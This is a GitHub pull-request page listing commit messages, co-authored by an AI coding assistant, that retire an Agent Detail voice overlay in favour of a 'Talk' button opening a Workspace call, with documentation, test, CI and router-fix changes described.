`alembic upgrade head` cannot resolve a singular target and applies ZERO
revisions on PostgreSQL — every revision since the fork stops arriving, not
just the forking one, and nothing fails loudly. This branch's revision has
never been applied anywhere, so it is renumbered onto a linear chain rather
than merged: `0051_agent_loops_terminal_driven`, down_revision
`0050_agent_canvases`. The doc reference in run-agent-loop.md and the mirror
comment in db/migrations.py are updated to match.

`scripts/ci/check_alembic_heads.py` now reports 52 revisions, 1 head.
This branch's CI ran at 10:50 UTC, 75 minutes before the competing revision
landed, which is why it passed schema-parity.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01HAw7x7VwACVjc58pPPi3Th
vybe pushed a commit that referenced this pull request Sep 9, 2026
…into the Workspace call (#2559) (#2606)

* docs(requirements): the Workspace is the only front door for voice (#2559)

Requirements first, per Rule of Engagement #1.

VOICE-004 is rewritten: the orb has one consumer (the Workspace conversation);
Agent Detail offers a door, not a surface — an ungated `Talk` button in
`AgentHeader` that navigates to `/workspace?agent=<name>&voice=1`. Ungated
because the door's gate and the destination's gate are the same two booleans
(`VOICE_ENABLED` and a provider key), so gating the door buys nothing and costs
a cold-load pop-in; the Workspace already says in words why a call cannot start.

VOICE-003 keeps its write path but records that it has no first-party caller
after this change, and that historic `chat_messages` rows keep their badge.
VOICE-001/VOICE-006 gain a scoping clause naming the OSS start route against the
Workspace's own. VOICE-008 is marked retired (#2484). VOICE-010 gains the
`?voice=1` entry contract — an intent armed IN THE APP, never by the URL alone.

public-access.md §48.3 gains FR-1b (the same contract, from the destination's
side) and FR-7 stops calling the orb "the Agent Detail overlay".
core-agent.md's Escape ownership list drops the overlay from Agent Detail.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* docs(architecture): the orb has one consumer; Agent Detail has a door (#2559)

frontend.md (the map row that owns `src/frontend/src/**`) gains the paragraph:
VoiceOverlay + useVoiceSession are mounted only by PortalConversation; Agent
Detail's affordance is an ungated Talk button pushing `?voice=1`; and the
one-shot rule — armed in the app, stripped once in `bootstrap()`'s finally —
lives as a pure function in portalVoiceMode.js, with the reason a browser
activation heuristic cannot replace it.

workspace.md stops calling the orb "the Agent Detail orb". observability.md's
ent#438 knock-on re-points at the caller that actually passes `workspace_mode`
now (`client_portal/voice.py::start_workspace_voice`), which is what keeps the
Canvas tab drawing for calls started through the door. api-endpoints.md records
that `/voice/start|stop|status` have no first-party frontend caller after this
change, that they are kept and test-pinned, and which voice routes both start
paths still share.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* docs(feature-flows): one front door for voice; Talk is a door into it (#2559)

voice-chat.md loses two architecture diagrams that described surfaces which no
longer exist — the Agent Detail chat-tab overlay (retired here) and the
standalone `/agents/:name/workspace` page (retired by #2484 and still documented
three releases later) — replaced by one "Front doors" section. The User Flow is
rewritten around the door and the Workspace's own Call control, the ending
section says where the transcript actually lands, and the feature-flag section
explains why the door is UNGATED: `voice_available`, the roster's
`realtime_voice` and the retired `/voice/status` probe are three spellings of
the same two booleans, so a gate on the door buys nothing and costs a cold-load
pop-in plus a sticky-false hide.

workspace-voice-conversation.md gains the `?voice=1` entry contract beside the
entry control. agent-canvas.md re-points the `workspace_mode` caller at the
Workspace call, which is what keeps the Canvas tab drawing for calls started
through the door. chat-turn-cancellation.md shrinks ChatPanel's overlay list.
feature-flows.md gets the index row and the dated changelog entry.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* docs(user-docs): Talk opens the Workspace; the mic-next-to-the-input is gone (#2559)

Every user-facing instruction told people to click a microphone beside the chat
input, which after this change is not there. `advanced/voice-chat.md` leads with
the two ways in (Talk on the agent's page, the Voice control in the Workspace),
says plainly that the agent's Chat tab is text only and that older voice
transcripts stay where they are, and explains why Talk is never hidden — hiding
it would make a working feature vanish whenever the flag has not loaded or its
fetch failed, indistinguishable from "this instance has no voice". The API table
marks `/voice/start|stop|status` as retained for API clients but no longer
called by Trinity's own UI.

The two FAQ answers are re-pointed, "Why don't I see the microphone button"
becomes "I clicked Talk and the call didn't start", and "What is Workspace
Mode?" becomes "What happened to Workspace Mode?" — the page it described was
retired by #2484 and the answer still promised it. faq/README.md's index rows
follow both renames. sharing-and-access/workspace.md inverts its stale
"not to be confused with" note: the Workspace is where voice lives now.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* refactor(ui): retire the Agent Detail voice overlay (#2559)

ChatPanel loses the `VoiceOverlay` mount, the `useVoiceSession` wiring, the
per-agent `GET /voice/status` probe and its two call sites, the overlay's claim
on Escape, and the unmount `voice.stop()`. ChatInput loses the composer mic
button, its `voiceAvailable`/`voiceActive` props and the `voice` emit —
`PublicChat.vue`, the other ChatInput consumer, passes none of them.

`source: msg.source || 'text'` stays in `loadSession`, and `ChatBubble.vue` is
deliberately untouched: historic voice rows in these chats keep rendering with
their badge. Only the ability to create new ones here goes.

`useVoiceSession` loses `start()` — it hardcoded the OSS route and ChatPanel was
its only caller — AND its entry in the returned object. That second half is the
whole edit: `start, startWith, stop, …` is shorthand, so deleting the function
alone would throw `ReferenceError: start is not defined` at setup in EVERY
`useVoiceSession(...)` call, including `PortalConversation.vue` — the Workspace
conversation this change hands off to. It would have shipped green: src/frontend
has no lint script and no eslint config, Rollup does not error on an unresolved
shorthand, and no vitest spec imports the module (they read it as text). Pinned
in the guard spec that follows.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* feat(ui): Talk — the door from Agent Detail into the Workspace call (#2559)

`AgentHeader` gains a Talk button beside Workspace: `armVoiceAutoStart()` then
`router.push('/workspace?agent=<name>&voice=1')`. Same tab on purpose — the
navigation is same-document, which is what carries the module-scoped one-shot to
the Workspace (a new tab is a fresh document, where it is false by construction)
and what keeps the AudioContext resumable from the click that started the call.

Ungated, with the reason in the template: the flag this page could gate on is
the same boolean the Workspace itself checks, so a gate buys nothing and costs a
cold-load pop-in plus a sticky-false hide on a failed flags fetch. The knock-on
is a deletion, not an invention — `AgentHeader`'s `voiceAvailable` prop has been
dead since ent#438, so it goes rather than being handed an artificial consumer,
and `AgentDetail` stops passing it.

`portalVoiceMode.js` gains the rule as pure functions: `VOICE_QUERY_KEY`,
`voiceQueryRequested`, the armed flag (`armVoiceAutoStart` / `disarmVoiceAutoStart`
/ `voiceAutoStartArmed`) and `voiceAutoStart`, which requires armed AND landed
AND a platform principal. `navigator.userActivation` is deliberately not used:
it is an audio-playback heuristic, not a provenance check, and `Portal.vue`
skips `bootstrap()` while signed out — so a pasted link survives unconsumed
until exactly the sign-in click that would satisfy it. sessionStorage was
rejected for surviving a reload; the module `let` dies with the document, which
is the semantics wanted, for free. `voice` joins `STAGE_QUERY_KEYS` so a
sign-out never carries the key into the next session.

`sessions.js::voiceAvailable` now has no reader in src/; kept with a comment
naming the follow-up, since the backend key still derives `workspace_available`.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* feat(workspace): honour an armed `?voice=1` once, and strip it on every exit (#2559)

`Portal.vue` consumes the Talk door's intent. `resolveAgentQuery()` only RECORDS
it — at the top, before its own trailing `router.replace`, which is async and
rewrites `route.query` when it lands. `bootstrap()` owns everything else:

  - `pendingVoiceStart = false` at the top. The function is try/finally with no
    `catch`, so a throw runs the finally, propagates, and skips the consume — a
    stale `true` would make the NEXT bootstrap (continueAsOperator, onVerify)
    start a billed call nobody asked for, with the URL already stripped so
    nothing on screen explains it. Latent today, since fetchRoster and
    refreshThreads carry `.catch` — but `decorate()` and `seedAgentRecency()` do
    not.
  - the query key is read BEFORE the first await, and stripped ONCE in the
    `finally`, keyed on the key's PRESENCE rather than its value. Three
    per-branch strip sites would have missed the `/workspace/c/:sid` early
    return, the no-`?agent=` fall-through and a throw; keying on the value would
    leave `?voice=0` resident, which now also matters because `voice` is a
    `STAGE_QUERY_KEYS` member and a residual key makes `shouldEscapeStage`
    navigate spuriously.
  - the hand-off runs after the try/finally, one `nextTick` after the ref is
    assigned in the same patch as `bootstrapResolved`.

`PortalConversation` exposes `startVoiceCall` alongside `focusComposer`, and
`Portal.vue`'s `ref="conversationRef"` is that `defineExpose`'s first consumer —
nothing used `focusComposer`, so neither token is dead code now. Its header
comment stops calling the orb "Agent Detail's".

`npm run build` passes.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* test: pin the retirement, the door, and the armed one-shot (#2559)

New `agentDetailTalkDoor.spec.js` — the removal side, as source guards (vitest
runs environment:'node' with no mount harness). What must stay gone (the orb
mount, the session, the `/voice/status` probe, the mic and its props/emit), what
must NOT have gone with it (`source: msg.source || 'text'` and ChatBubble's
badge, so historic voice rows still render; PortalConversation's own mount of
the orb), and the door's properties: a stable test id, no `v-if`, no
`target="_blank"` — scoped to the Talk block, since the Git remote link in the
same header legitimately carries one — and no `voiceAvailable` prop.

The load-bearing case is `start,` absent from the composable's return object.
Nothing else in the suite catches that: it throws only at component setup, and
no spec imports the module.

`portalVoiceMode.spec.js` gains the rule tests — strict `'1'` parsing including
the repeated-key array, and `voiceAutoStart` refusing an otherwise perfect
request that was not armed, which is the regression test for the signed-out
pasted-link path — plus source pins for the hand-off: arm-before-push, record
without stripping, reset before the try, key read before the first await, one
strip in the finally, and no `navigator.userActivation` in any code path. Its
"the call is the Agent Detail orb" describe block is renamed; the claim is false
now even though its assertions still hold.

Two traps, both found by the tests failing on arrival rather than passing
vacuously:

  - The shared `stripComments` helper destroys `ChatInput.vue` — it contains
    `accept="image/*"`, whose `/*` opens a block comment that swallows 74% of
    the file including the `defineEmits` line. Masked, with the reason; and
    every stripped source in the new spec is now checked against a sentinel, so
    a future stripping change fails loudly instead of turning the absence
    assertions vacuous.
  - My first falsification harness shifted its args and re-read `$3`/`$4`, so
    all five mutations silently no-oped and every pin "passed". Redone: 12 of 12
    mutations now fail the right test, including reinstating `start,`.

`test_ent438_agent_canvas.py` is re-pointed rather than deleted — the property
(some live caller passes `workspace_mode`) is unchanged, only the caller moved
to `client_portal/voice.py::start_workspace_voice`. Its ChatPanel arm is
inverted, not dropped, so the retired front door cannot quietly return.

Evidence: `npm run test:unit` 102 files / 2276 tests passed;
pytest test_ent438_agent_canvas + test_voice_auth + test_1076_voice_model_config
+ test_voice_tools + test_ent534_workspace_voice + test_ent279_scrub_parity
= 54 + 131 passed (the "nothing on the backend was deleted" proof).

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* test(e2e): prove the Talk hand-off in the CI tier, without a microphone (#2559)

`.github/workflows/frontend-e2e.yml` runs `npm run test:e2e:smoke`
(`--grep @smoke`), so an `@interactive` case runs once on a laptop and never
again — and a source-grep spec cannot catch a sibling PR breaking `defineExpose`
on rebase. Five `@smoke` cases therefore carry the wiring: the click navigates,
the start request is ISSUED, the URL loses `voice=`, `/voice/status` is never
asked, Talk renders with the platform flag patched off (the ungated ruling), a
pasted `?voice=1` starts nothing, `?voice=0` and `/workspace/c/:sid?voice=1`
both leave a clean URL, and the composer has no mic.

Two traps closed by construction:

  - The roster is patched to `realtime_voice.available: true`. Without it the
    local stack (empty GEMINI_API_KEY) reports unavailable and `startVoiceCall`
    bails BEFORE `voice.startWith`, so "no start POST" would pass for a reason
    unrelated to the rule under test — a false green. The `@interactive` case
    additionally asserts the surfaced text is neither REASON_DISABLED nor
    REASON_NO_KEY.
  - The hand-off is `conversationRef.value?.startVoiceCall?.()`, which silently
    consumes the intent when the ref is null. So the test asserts the call was
    MADE, never merely that nothing threw.

Fixture handling follows the #2199 contract rather than convenience: default
`testfix`, the shared authenticated `agentExists` probe, definitive-404 skips
only. Defaulting to `trinity-system` is the exact anti-pattern that helper's
docstring names. The spec's header states the further need the probe does not
cover — the agent must be on the operator's Workspace roster.

`route.fetch()` has no precedent in this suite and the spec says so rather than
claiming one; `route.fulfill()` with a hand-built body is the house pattern.

`playwright --list` confirms 5 `@smoke` + 2 `@interactive`, and that `--grep
@smoke` selects exactly the five. README fixture table updated.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* docs(feature-flows): the two flows that still promised voice on the chat tab (#2559)

/sync-feature-flows sweep over every flow doc touching the changed surfaces.
Seven candidates beyond the five already updated; five needed nothing and two did:

`authenticated-chat-tab.md` owns the Chat tab, which just lost voice entirely,
and said nothing about it either way. It now states the tab is text only, names
the door, and records that historic voice rows keep their badge. Its ChatInput
inventory gains the current emit list — and a note that the line counts and
control lists in that section predate several changes, since correcting only the
line my PR touched would imply the rest is current.

`session-tab.md` listed the voice mic as deferred pending "a backend extension
to the turn endpoint — voice writes to the wrong DB tables today". #2559 settles
that rather than leaving it pending: there is one front door, no chat surface
has a composer mic, and the answer is the Talk door.

Checked and deliberately not changed: `brain-orb.md` (its `voiceAvailable` is
`brain_orb_voice_available` on a different surface, untouched);
`workspace-agent-page.md` (its `shouldEscapeStage` prose is about route SHAPE and
never enumerates `STAGE_QUERY_KEYS`, so adding `voice` does not falsify it);
`public-agent-links.md` and `web-chat-file-upload.md` (PublicChat passed no voice
props); `playbook-autocomplete.md` (its abridged `<ChatInput>` snippet omitted
the voice props already, and my change makes its `:disabled="loading"` line
accurate again).

Index is 526 lines — over the skill's 400-line guidance, but it was 525 before
this PR: one index row and one changelog row. Condensing it is not this PR's job.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* fix(workspace): the strip must not cancel the landing replace (#2559)

`resolveAgentQuery()` ends with `router.replace('/workspace/c/<sid>')` — a bare
path, so it drops the WHOLE query, `voice` included. `bootstrap()`'s `finally`
then started a SECOND replace in the same tick, because vue-router updates
`route` asynchronously and the strip could not see the first one in flight.
Two navigations in one tick do not compose: vue-router cancels the earlier one
(NAVIGATION_CANCELLED), so the strip won and the Talk door landed on
`/workspace?agent=X` instead of the thread URL — the code comment claiming the
two "compose rather than race" was exactly backwards.

Recorded with a flag rather than detected, since `route` cannot answer the
question in the same tick: `resolveAgentQuery()` sets `landingReplaced` where it
replaces, and the `finally` strips only when nothing already did. Every exit
still leaves a clean URL — the deep-link early return, the no-`?agent=`
fall-through, `?voice=0` and a throw all keep the one strip site.

Measured against a real `createRouter`, before → after:
  door, agent has a thread   /workspace?agent=acme  → /workspace/c/sid-123
  door, no thread yet        /workspace?agent=acme  → /workspace?agent=acme
  ?voice=0 + thread          /workspace?agent=acme  → /workspace/c/sid-9
  deep link /c/:sid          /workspace/c/sid-7     → /workspace/c/sid-7

The guard spec pins the new shape and is red without the fix (negative control
run: 1 failed / 56 passed, then 57 passed restored).

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* docs(security): CSO diff audit for the voice front-door retirement (#2559)

No findings at the gate. The one new security-relevant surface is `?voice=1`,
a URL that would open a microphone and mint a billed realtime session; the
in-app armed one-shot that guards it was traced end to end, and the module-
instance assumption it rests on was verified against a real `npm run build`
(AgentDetail and Portal are separate lazy chunks — a duplicated module would
give each its own flag and break the door in prod while working in dev).

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* docs(learnings): two router.replace calls in one tick cancel, they do not compose (#2559)

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

* test(e2e): make the Talk-door @smoke tier actually run in CI (#2559)

The tier was inert. A file-level #2199 existence probe skipped all five cases,
and frontend-e2e.yml pins the e2e baseline at zero user agents on purpose, so
the fixture it waited for is one CI will never have. Playwright reports that as
`5 skipped` inside a green run, so nothing said the coverage did not exist —
including the spec's own claim to be "the only thing that would catch a sibling
PR breaking defineExpose on rebase".

Behind it sat a second blocker: CI bootstraps the admin from ADMIN_PASSWORD and
flips setup_completed directly, so that user has no email, and portal_auth.py
403s a platform principal without one. GET /my-agents cannot answer, the roster
is empty, and the door lands on "You don't have access" rather than the call.

So the @smoke tier is now hermetic on a synthetic `e2e-talk-door`, following
workspace-code-blocks.spec.js: a fulfilled roster, the shell's reads, and — the
one that actually hid the failure — the thread-creating POST, because
startVoiceCall opens a thread before the first word and its failure branch
returns without ever reaching voice.startWith. The probe moves inside the
@Interactive describe, which is the rule workspace-absorbs-session.spec.js:30-32
already states. @Interactive keeps the real agent, patches only realtime_voice
on the live roster, and no longer stubs the start: stubbing it would make "the
orb came up" true with no call behind it.

Verified against a live stack on this branch, under the CI condition (no fixture
agent): 6 passed, and the whole @smoke suite is 76 passed / 0 failed. Falsified
by mutation — dropping armVoiceAutoStart(), dropping the
conversationRef.value?.startVoiceCall?.() hand-off, and removing startVoiceCall
from defineExpose each turn it red.

Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Wz4MR9mmFHHUPM6DRkiCyH

---------

Co-authored-by: Claude Opus 5 <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants